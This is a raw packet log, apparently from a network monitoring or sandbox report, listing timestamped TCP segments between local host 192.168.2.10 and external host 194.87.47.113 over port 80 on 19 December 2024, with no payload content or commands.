Dec 19, 2024 08:21:25.691992998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.692004919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.692043066 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.692562103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.692574978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.692610025 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.693352938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.693366051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.693403959 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.694158077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.703437090 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.763000011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.763348103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.763360023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.763389111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.763389111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.763431072 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.764060974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.764164925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.764266968 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.764978886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.772305965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.772319078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.772384882 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.772713900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.772726059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.772751093 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.773344040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.773381948 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.773581982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.775051117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.775094032 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.805798054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.806185007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.806197882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.806246996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.807038069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.807051897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.807084084 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.807782888 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.807796001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.807826042 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.808576107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.808588982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.808634996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.808950901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.808991909 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.809501886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.809515953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.809556961 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.810293913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.810307980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.810338020 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.817740917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.817821980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.817857981 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.818253040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.818265915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.818305016 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.818954945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.819062948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.819097042 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.819820881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.819833994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.819863081 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.820715904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.820727110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.820764065 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.821333885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.821501017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.821535110 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.822206020 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.822217941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.822259903 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.860761881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.861054897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.861068964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.861116886 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.861882925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.861896038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.861923933 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.862657070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.862669945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.862694025 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.863151073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.863192081 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.863539934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.863555908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.863589048 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.864353895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.864367008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.864406109 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.865190029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.865202904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.865240097 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.865931988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.865946054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.865981102 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.866828918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.866841078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.866883039 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.867556095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.867568970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.867605925 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.868313074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.868325949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.868360043 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.869096994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.869110107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.869148016 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.869878054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.869890928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.869926929 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.870801926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.870815039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.870852947 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.871454000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.871467113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.871501923 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.872311115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.872323990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.872383118 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.873058081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.873070002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.873112917 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.873991013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.874002934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.874047041 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.874876022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.874887943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.874926090 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.875746965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.875761032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.875799894 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.876655102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.876667976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.876707077 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.877274036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.877289057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.877322912 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.877994061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.878005981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.878038883 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.878624916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.878637075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.878674030 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.879359007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.879371881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.879406929 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.880157948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.880170107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.880204916 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.881009102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.881021023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.881064892 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.881752968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.881766081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.881820917 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.882534981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.882548094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.882605076 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.883310080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.883327007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.883364916 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.884032965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.884043932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.884088039 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.884907961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.884919882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.884965897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.885704041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.885719061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.885768890 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.887156010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.939613104 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.954982996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.954997063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.955060959 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.955142975 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.955156088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.955204964 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.955981016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.955993891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.956027031 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.956758022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.956770897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.956811905 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.964577913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.964591026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.964752913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.964766026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.964781046 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.964802980 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.965529919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.966185093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.966196060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.966223001 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.997910976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.997925997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.997961998 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.998301983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.998317003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.998358011 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.999105930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.999119997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.999159098 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.999902964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.999916077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.999938965 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.000773907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.000786066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.000809908 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.001358032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.001399040 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.001981020 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.002253056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.002264023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.002289057 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.009974957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.010037899 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.010319948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.010334015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.010369062 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.011019945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.011149883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.011188030 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.011933088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.011946917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.011995077 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.012715101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.012727976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.012768030 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.013519049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.013531923 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.013572931 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.014280081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.014292002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.014324903 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.015136957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.053178072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.053191900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.053237915 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.053452015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.053463936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.053502083 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.054184914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.054197073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.054344893 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.055043936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.055056095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.055083990 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.055831909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.055844069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.055871010 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.056663036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.056674957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.056696892 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.057405949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.057419062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.057445049 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.058243036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.058255911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.058276892 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.059011936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.059025049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.059048891 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.059813976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.059827089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.059855938 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.060558081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.060570955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.060606003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.061393976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.061407089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.061444998 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.062170029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.062181950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.062211037 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.062956095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.063002110 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.063252926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.063735962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.063747883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.063776970 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.064529896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.064543009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.064574003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.065368891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.065381050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.065407991 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.066499949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.066517115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.066545010 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.066895008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.066907883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.066930056 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.067755938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.067769051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.067799091 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.068597078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.068612099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.068648100 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.069288969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.069300890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.069329977 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.070115089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.070127964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.070147038 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.070900917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.070914030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.070940971 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.071660995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.071672916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.071698904 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.072446108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.072469950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.072494030 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.073246002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.073257923 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.073282003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.074034929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.074048042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.074076891 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.074695110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.074738026 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.075141907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.075587988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.075599909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.075623035 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.076423883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.076436043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.076461077 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.077147007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.077158928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.077188969 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.078000069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.078011990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.078037977 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.079144001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.079184055 CET	49720	80	192.168.2.10	194.87.47.113
